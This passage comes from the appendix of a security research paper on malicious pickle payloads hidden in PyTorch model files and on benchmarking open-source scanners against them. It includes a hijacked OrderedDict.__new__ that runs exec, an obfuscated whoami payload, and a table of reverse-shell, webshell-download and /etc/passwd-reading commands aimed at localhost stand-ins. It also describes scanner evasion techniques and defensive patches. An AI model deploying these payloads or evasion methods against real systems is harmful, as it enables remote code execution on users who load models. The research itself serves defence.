Listing 5: Overwritten collections.OrderedDict file, showing the function __new__ to execute code with exec def __new__(cls, /, *args, **kwds): "Create the ordered dict object and set up the underlying structures." if args and isinstance(args[0], str): result = exec(args[0]) del result self = dict.__new__(cls) self.__hardroot = _Link() self.__root = _Link() root = self.__root root.prev = root.next = root # self.__root = root = _proxy(self.__hardroot) # root.prev = root.next = root self.__map = {} return self

F. Payload Generation Figure 4 demonstrates how we generate malicious pickles, that are used as payloads to be injected into our synthetic models. These payloads are generated by using Python’s pickle module, by making the payload a malicious pickle that can be injected into models.“ TABLE IX: Details of Datasets used and Hugging Face scraping. “-” indicates that the model was part of a dataset and not collected by us. Datasets

Real (HF) Synthetic (PyPI Injected) Synthetic (External Module) Synthetic (Overwritten Module) Real (M AL H UG) Real (PickleBall) Real (P ICKLE C LOAK) Real (Total) Synthetic (Total)

Range (Sorted By Most Likes) 1-3000 3600-4600 3600-4600 3600-4600 -

Benign

Malicious

Total

3000 0 0 0 0 252 0 3246 0

0 1000 1000 1000 85 2 57 144 3000

3000 1000 1000 1000 85 248 57 3390 3000

Fig. 4: Payload Generation for S HADOW P ICKLE TABLE X: Effectiveness of S HADOW P ICKLE on SOTA open-source scanners. Analysis

Benign

Type

Detector

HF (3000)

PyPI

External Module

Overwritten Module

Static

W EIGHTS - ONLY [40] TPR FNR

54

1000 0.5814 0.4186

1000 0.5906 0.4094

39 0.372 0.628

Performance

Malicious (3000) Overwritten Module (adaptive attack) 0 0 1

the site. The libraries were selected based on those that can execute arbitrary code, or system instructions. Particularly, we look for libraries that have execution functionality similar to exec or subprocess.run and leverage them to execute arbitrary code with the injected models. We also present the versions used for replicability. J. Scanner Versions Used

G. Obfuscation Payload Listing 6 depicts an example of an obfuscated payload. The payload is generated using pyarmor and then pickled to make the suitable payload. The payload depicted is an obfuscated version of the payload os.system("whoami"). Listing 6: Example Obfuscated payload 4792: c GLOBAL ’pyarmor\_runtime\ _000000.pyarmor\_runtime \_\_pyarmor\_\_’ 4844: r LONG\_BINPUT 286261248 4849: X BINUNICODE ’\_\_main\_\_’ 4862: r LONG\_BINPUT 286261249 4867: X BINUNICODE ’/home/zol/School/ Research/BenchMarking\_Hubs/dist/system\_whoami.py’ 4937: r LONG\_BINPUT 286261250 4942: c GLOBAL ’\_codecs encode’ 4958: r LONG\_BINPUT 286261251 4963: X BINUNICODE ’PY000000\x00\x03\ x0b\x00\r\r\n\x80\x00\x01\x00\x08\x00\x00\x00\x04\x00\ x00\x00@\x00\x00\x00\x10\x02\x00\ ... 5843: r LONG\_BINPUT 286261252 5848: X BINUNICODE ’latin1’ 5859: r LONG\_BINPUT 286261253 5864: \x86 TUPLE2 5865: r LONG\_BINPUT 286261254 5870: R REDUCE

H. Overwritten Module Adaptation Table X depicts the results of running the adapted Overwritten module to models that end with SETITEMS. The attack is adapted by placing the payload before the SETITEMS opcode. This is done so that the object placed by SETITEMS on the stack is not built with our payload’s call of BUILD. W EIGHTS - ONLY U NPICKLER prevents BUILD from building non-standard objects, therefore needing this adaptation. I. PyPI Libraries The PyPI libraries that we used for our PyPI attack are listed in Table XI. The libraries were gathered by searching ”execute” on PyPI, and going down the top 20 pages of

Table XII lists the versions of the open-source SOTA scanners used. The versions were the latest at the start of the study, and thus have been archived for reproducibility of results. K. Payloads Used We list the payloads used for our malicious models in Table XIII. The payloads are gathered from sources such as PayloadsAllTheThings and revshells.com, popular sites to use for penetration-testing related payloads. The payloads were selected so that they emulate basic reconnaissance and reverse shells, carefully selected for those that would not harm any systems or leave a backdoor for a malicious actor. L. F ICKLING fine-grained results Table XV shows the fine-grained results of F ICKLING. The results are spread across the different F ICKLING severity scores (LIKELY_SAFE, POSSIBLY_UNSAFE, SUSPICIOUS, LIKELY_UNSAFE LIKELY_OVERTLY_MALICIOUS) and an ”N/A” category for those that crashed F ICKLING. M. F ICKLING flags compared to W EIGHTS - ONLY Figure 5 is a plot to show the overlap of libraries between F ICKLING marking them as malicious, and W EIGHTS - ONLY U NPICKLER having them in the whitelist. Red indicates libraries present in the W EIGHTS - ONLY U NPICKLER whitelist, meanwhile blue to indicate not in the whitelist. The figure’s overall red indicates that the libraries detected in the top 3000 benign models by F ICKLING, were all whitelisted by W EIGHTS - ONLY U NPICKLER.

TABLE XI: PyPI libraries used for PyPI attack in S HADOW P ICKLE. Library Name execute sysexecute llm-tools-execute-shell runnow processrunner gptexec pxe invoke shell_cmd raft gdo molot exec-utils slutterprime eat exec_cmd muss llmexec ey

Version Number 1.2 1.2.1 0.1.2 0.1.0.15 2.6.0 1.0.0 0.1.0 3.0.3 1.0.2 1.6 0.1.2 1.0.3 0.1.1 1.0.0 1.0.0 0.1.0 0.2.2 0.1.1 0.3.5

Project Link https://pypi.org/project/execute/ https://pypi.org/project/sysexecute/ https://pypi.org/project/llm-tools-execute-shell/ https://pypi.org/project/runnow/ https://pypi.org/project/processrunner/ https://pypi.org/project/gptexec/ https://pypi.org/project/pxe/ https://pypi.org/project/invoke/ https://pypi.org/project/shell-cmd/ https://pypi.org/project/raft/ https://pypi.org/project/gdo/ https://pypi.org/project/molot/ https://pypi.org/project/exec-utils/ https://pypi.org/project/slutterprime/ https://pypi.org/project/eat/ https://pypi.org/project/exec cmd/ https://pypi.org/project/muss/ https://pypi.org/project/llmexec/ https://pypi.org/project/ey/

Additional Notes

slight editing required for direct execution

slight editing for no consent execution

exec primitive; executes arbitrary Python exec primitive; evasion-capable subprocess wrapper eval-based execution might require memory limit increase

Fig. 5: Top 15 libraries flagged by F ICKLING in 3000 benign models TABLE XII: Versions of SOTA open-source scanners used. Scanner P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] M ODELT RACER [45]

Version Number 0.0.32 0.8.7 0.1.5 2.9.1 (torch) 0.0.1

Commit hash d3273f4225da08c0998177a5ac0588724fa4bba0 abc4b1510315ba1ba162e3ae002e5d394db32200 8a302e69c0a41dec30dfc157e696915d4da9392b dc48fef658cc6fde242af3608d98a9132ea56f2f 5725b26f62a1c0e4f22c793761cefb70ead64ee5

N. P ICKLE B ENCH Methodology Algorithm 1 depicts the workflow algorithm for P ICK LE B ENCH.

1) Step 1 - Crawling: From a selected model hub, we choose a task tag from the most commonly occuring task tags.

In our evaluation, we use Hugging Face and the text-generation task tag as it includes the highest number of models, as illustrated in Table XVI. We obtain a list of repositories sorted by likes with the intuition that models with a higher number of likes are less likely to be malicious. Once the list of repositories with the chosen task tag is obtained, we filter for pytorch_model.bin model files. Additionally, we check whether each model has been flagged by any of the proprietary scanners on the model hub. If the model has been flagged, the model is skipped. Otherwise, we download the model as a suitable candidate for P ICKLE B ENCH. This process is repeated until the desired number of benign models (1000) is reached.

TABLE XIII: Payloads used in S HADOW P ICKLE. Payload whoami uname -a ls -la cat /etc/passwd echo $PATH echo $(id) time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi nslookup ‘whoami‘.127.0.0.1 for i in $(ls /) ; do host "0.0.0.0"; done curl http://0.0.0.0:4444/ -o webshell.php sh -i >& /dev/tcp/127.0.0.1/4444 0>&1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f nc -e /bin/sh 127.0.0.1 4444 zsh -c ’zmodload zsh/net/tcp && ztcp 127.0.0.1 4444 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’ python3 -c ’import pty; pty.spawn(["/bin/bash", "-c", "echo hello;exit"])’ print(open(’/etc/passwd’).read()) pdb.os.system(’ls’) pty.spawn(’ls’) importlib.import_module(’os’).system(’ls’)

Type Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reconnaissance Reverse Shell Reverse Shell Reverse Shell Reverse Shell Python Exec Python Exec Python Exec Python Exec Python Exec

Source PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings revshells.com revshells.com revshells.com revshells.com PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings PayloadsAllTheThings

TABLE XIV: Strengths and Limitations of SOTA benchmarks. Benchmarks M AL H UG Malicious: 91 Benign: 0 Pickleball Malicious: 2 Benign:252

P ICKLE C LOAK Malicious: 57 Benign: 0

P ICKLE B ENCH (ours) Malicious: 3000 Benign: 1000

Strengths - Created by scanning Hugging Face - Used a closed-source custom tool to scan and find the models - Dataset is publicly available - Created by scanning Hugging Face with W EIGHTS - ONLY - Sizable number of models to test benign libraries and therefore whitelist benchmarking - Dataset and tool are publicly available - Made with the custom gadget-finding tool to be able to benchmark blacklists - Extendable to other libraries by using the tool on new libraries for more execution paths - Dataset and tool are publicly available - Dataset is dynamic due to extensibility - Made with three new attack methodologies - Extensible with the injection scripts and applying methodologies to new models - Dataset and tool are publicly available - Overwritten Module attack provides novel whitelist benchmarking capabilities - Supports generalised blacklist assessment

Limitations - Benchmark is not extensible - Static scanning at a point of time - Does not allow for benchmarking whitelists - Benchmark is not extensible - Static at a point in time - Malicious set is only two custom models

- Does not allow for whitelist benchmarking - Does not include benign models - Malicious models are synthetic in nature

- Malicious models are synthetic in nature

TABLE XV: Granular results by severity of F ICKLING run on 3000 benign models. N/A indicates number of models that crashed Scanner Vanilla F ICKLING F ICKLING Patch (ours) F ICKLING Patch + Environment checking

LIKELY SAFE 142 620

POSSIBLY UNSAFE 0 0

SUSPICIOUS 0 2370

LIKELY UNSAFE 2834 4

OVERTLY MALICIOUS 0 0

N/A 24 24

620

0

2370

4

0

24

TABLE XVI: Number of PTMs on Top four (4) Model Hubs. Hub

#Models

Hugging Face [1] GitHub [2] OpenCSG [3] ModelScope [4]

2535618 150685 192701 156193

Text Generation 320324 1732 5343 33831

2) Step 2 - Payload Generation: We collect a set of real-world payloads (20), including reverse shells and data exfiltration from revshells.com [61], PayloadsAllTheThings [60], etc. The collected payloads are Pickled into self-contained files, such that they can be directly injected into PyTorch models, as they are

both binary data with the same set of opcodes. PyPI-related payloads are generated using Pickle.dump(), therefore the approach is restricted to objects that are serializable via Python’s Pickle mechanism, hence precluding the inclusion of custom objects required by certain libraries. Table I (fourth column) shows a resulting malicious PTM disassembled using Pickletools.dis() [46] and its payload. Figure 4 (appendix) illustrates the payload generation process. 3) Step 3 - Payload Injection: From the set of payloadinjected Pickles in the previous step (step 3), we randomly sample a payload Pickle to be injected into the downloaded PTMs from the Crawling step (step 1). We then edit the memory addresses of the injecting Pickle file to be greater than

TABLE XVII: Open-source SOTA’s performance on S HADOW P ICKLE vs. SOTA Benchmarks. Type Static

Dynamic

Analysis

Benign

Detector

(40)

P ICKLE S CAN [43] M ODEL S CAN [44] F ICKLING [48] W EIGHTS - ONLY [40] ModelTracer [45] Detection Rate

0 0 40 0 0

Existing Benchmarks P ICKLE C LOAK M AL H UG Injected (40) Injected (40) 3 40 1 40 40 40 40 40 16 31 0.5 0.955

Algorithm 1 : Dynamic Benchmarking Pipeline Input: Model hub: target model repository = HuggingFace tag: task tag = text-generation attack type: type of attack to inject P: set of payloads SOURCES: PayloadsAllTheThings, revshells.com Output: Mresult : dictionary with scan results for injected models // Step 1: Crawl for models tagged as safe 1: Mbenign ← [] 2: for each model in Model hub.Tag do 3: if is tagged safe(model) and len(Mbenign ) < 1000 then 4: Mbenign .append(model) 5: end if 6: end for // Step 2: Generate attack payloads 7: Mpayload = [] 8: for p ∈ S OURCES (attack type) do

any addresses of the original PyTorch file, since the Pickle VM works based on a stack and memory based architecture. This is done to preserve stack integrity and prevent the original PyTorch model’s stack from being overwritten during payload execution. The injected model is then validated and stored as part of P ICKLE B ENCH if and only if the following two validation steps passes: (1) Format validation, the injected model is ascertained to be a valid Pickle file by loading it and monitoring for errors/exceptions. (2) Payload validation, we confirm that the injected payload behaves as intended when the model is deserialized. 4) Step 4 - Scanning: Finally, we evaluate the curated dynamic benchmark (P ICKLE B ENCH) against the SOTA opensource scanners. The goal is to examine the performance of the scanners on P ICKLE B ENCH. We feed each model in P ICKLE B ENCH to be scanned by each scanner. The scanner’s verdict and the output from STDOUT and STDERR on an injected model are logged for further review. O. P ICKLE B ENCH Generalizability

We generalize P ICKLE B ENCH by incorporating previously designed benchmarks (M AL H UG and P ICKLE C LOAK). We integrate the benchmarks by injecting the payloads from the benchmarks into Pytorch models. The injected models perform similarly to the original benchmark performance in Table VIII, as observed in the Table XVII. Table XVII depicts the results of benign models injected with payloads from M AL H UG ( Detection rates 0.955 vs. 9435) and P ICKLE C LOAK ( Detection rates 0.5 vs. 5824). To facilitate development of further generalized benchmarks, we document our methodology of injection for the benchmarks. As depicted in subsection VI-E, we use the 9: Mpayload .append({P ICKLE(p)}) 100 payloads generated by P ICKLE C LOAK to inject into the 10: // each p ∈ P is Pickled depending on attack type Pytorch models. However, as P ICKLE C LOAK was originally 11: end for designed to be used with Pickora [72] and have the pickles // Step 3: Inject payload into each model and validate in protocol 4, we adjust to protocol 2 for compatibility 12: Mresult = {} with our injector. For M AL H UG, we extract the payloads 13: for each mi ∈ Mbenign do from the csv provided in the repository [73] and inject them 14: injection success = False into benign Pytorch models. To inject, we use F ICKLING’s 15: while ¬ injection success do inject_payload function to inject the models. We do 16: minj ← I NJECT P AYLOAD (m , M .random()) not use inject_payload in our own injector because it i payload i 17: // embed payload into model Pickle file uses Python’s builtin exec, which is on the blacklist of most inj ML security scanners. We provide the injection scripts in the valid ← VALIDATE M ODEL(mi ) 18: artifact. 19: // confirm model still loads without error inj 20: malpayload ← M ALICIOUS E XECUTION(mi ) 21: // confirm payload is valid 22: if ¬ valid or ¬ malpayload then 23: continue 24: // skip if model or payload is broken 25: end if 26: injection success = True 27: S TORE M ODEL(minj i ) //Archive model 28: end while // Step 4: Evaluate against SOTA scanners 29: S ← [modelscan, Picklescan, fickling, . . .] 30: for each sj ∈ S do 31: 32: 33: 34:

detected, scanner output = sj (minj i ) Mresult [(minj i , sj )] = (detected, scanner output) // get scanner result for injected model end for

P. Why do SOTA scanners fail? M ODELT RACER only has a recall of 0.8937 (see Table IV) because its blacklist of syscalls is incomplete. For example, it does not detect a malicious payload that only reads information and prints it out (e.g., “cat /etc/passwd”) because the payload only uses syscalls like write and read, which are not on the blacklist of M ODELT RACER’s syscalls. Although W EIGHTS - ONLY U NPICKLER performs well due to its whitelist, S HADOW P ICKLE demonstrate that whitelisting is susceptible to the Overwritten Module attack since it overwrites libraries in the whitelist. We also inspected the 39 instances of S HADOW P ICKLE (Overwritten) detected by W EIGHTS - ONLY U NPICKLER (see Table IV) and found that it is not truly detecting the S HADOW P ICKLE (Overwritten attack). They are only flagged because of dictionary usage. Specifically, models end with the opcode SETITEMS which puts a dictionary on the stack of the Pickle VM. This dictionary then gets popped by our attack when we call the BUILD opcode (such as Table I). However, W EIGHTS ONLY U NPICKLER does not allow for building dictionaries, thus it flags the model as malicious. To address this issue, we additionally injected the payload before the SETITEMS opcode and show that that none of the new models are detected by W EIGHTS - ONLY U NPICKLER. Table X (appendix) reports this adaptive S HADOW P ICKLE attack and its results. P ICKLE S CAN and M ODEL S CAN perform poorly due to the use of a static, non-exhaustive blacklist. The blacklist in use is more appropriate for widely known execution libraries, like posix system, such as the Library Import attack in Table I. S HADOW P ICKLE evades the blacklist by using libraries from PyPI (Listing 1) or custom external modules (Listing 2) which are not listed. F ICKLING flags almost all tested PTMs as suspicious or unsafe, regardless of whether they are benign or malicious (Table IV). It has a high false positive rate because of its import whitelisting. This is evident by its F1-score of 0.6791. An import that is not part of the F ICKLING whitelist results in the model being flagged as LIKELY_UNSAFE. F ICKLING also flags models as SUSPICIOUS if they do not pass its dataflow analysis [62]. Table XV (appendix) reports the finegrained results for F ICKLING at different severity levels. Q. Security Recommendations & Patches To the best of our knowledge, none of the security scanners employ environment checking as part of their security checks. S HADOW P ICKLE (Overwritten Module) replaces the original Python libraries with the Attacker crafted library. Therefore, it is imperative to verify environment safety to get a holistic security evaluation. W EIGHTS - ONLY Patch: We recommend that Pickle Loading Environments such as W EIGHTS - ONLY U NPICKLER implement additional environment checks to ascertain that the execution environment is safe, e.g., not altered, similar to the S HADOW P ICKLE’s sys.modules overwrite. This additional check allows to detect environment-altering attacks such as the S HADOW P ICKLE’s Overwritten Module attack. We

implement this patch by checking whether a whitelisted builtin Python libraries (e.g., collections.OrderedDict) in sys.modules is found in a non-standard directory (e.g., site-packages) in the environment. This indicates a tampered environment because directories like site-packages are the default directory of installation for third party libraries, and builtin libraries like collections instead are found as part of the Python installation (/usr/bin or venv/bin). Table XVIII shows that our W EIGHTS - ONLY-patch increases the F1-score of W EIGHTS - ONLY by 19%. Overall, this defense improves the efficacy of scanners and model hub security. Fickling Patch: Table IV shows that F ICKLING has a huge number of false positives. To address this issue, we analyse the whitelist of F ICKLING and compare it to the whitelist in W EIGHTS - ONLY U NPICKLER [40], PyTorch’s official restricted loading environment. We notice that F ICKLING was flagging benign libraries, some of which are part of W EIGHTS ONLY U NPICKLER’s whitelist. Figure 5 (appendix) shows the top-15, most frequent libraries flagged by Fickling in the tested 3000 benign models (from RQ1). Libraries in red show libaries that are marked by F ICKLING as malicious, even though W EIGHTS - ONLY U NPICKLER has them on the whitelist. Therefore, we patched F ICKLING, such that it also includes the libraries in W EIGHTS - ONLY U NPICKLER as part of the whitelist, and rerun the scanner on the 3000 benign models. Table XVIII depicts the scanner performance before and after patching. We observed a (16% (2834 vs. 2374)) decrease in false positives. 2370 out of the 2374 false positives fail the dataflow analysis of F ICKLING. Thus, they are marked as SUSPICIOUS with a lower severity than the LIKELY_UNSAFE earlier (Table XV (appendix)). To address this, we augmented F ICKLING with environment checking (as proposed for W EIGHTS - ONLY). This improves F ICKLING’s F1-score by 5% (0.7165 vs. 0.6791). Security Recommendations for Model hubs: We propose two (2) security recommendations for model hubs: PyPI Scanning: To mitigate S HADOW P ICKLE’s PyPI attack, we recommend that model hubs employ gadget-finding tools like P ICKLE C LOAK. Although P ICKLE C LOAK’s gadgetfinders were developed for attack orchestration, augmenting scanners with gadget-finders will discover vulnerable PyPI libraries capable of arbitrary code execution, which will improve model hub security if blacklisted. This is important since certain PyPI modules (e.g., raft [67]) may appear to be benign but can be used to orchestrate malicious activities when installed, e.g., privilege escalation. Requirements Scanning: S HADOW P ICKLE’s PyPI and Overwritten module attacks are distributed through third-party libraries on PyPI. Therefore, we recommend the use of vulnerability scanners like Pysentry [71] for model hub security. These scanners would scan files that are typically used for third-party library installation (requirements.txt or uv.lock). This allows users to potentially inspect vulnerable libraries installed during model loading.

TABLE XVIII: Performance of F ICKLING and W EIGHTS - ONLY against our patches. Scanner

Benign

54 54 2834 2374

PyPI (1000) 1000 1000 1000 1000

2374

1000

(3000) Vanilla W EIGHTS - ONLY W EIGHTS - ONLY Patch Vanilla F ICKLING F ICKLING Patch F ICKLING Patch + Environment checking

Malicious (3000) External Overwritten Module (1000) Module (1000) 1000 39 1000 1000 1000 1000 1000 0 1000

1000

Overall Performance TP

FP

TN

FN

Precision

Recall

F1-score

2039 3000 3000 2000

54 54 2834 2374

2946 2946 166 626

961 0 0 1000

0.9742 0.9823 0.5142 0.4572

0.6797 1 1 0.6667

0.8007 0.9911 0.6791 0.5424

3000

2374

626

0

0.5582

1

0.7165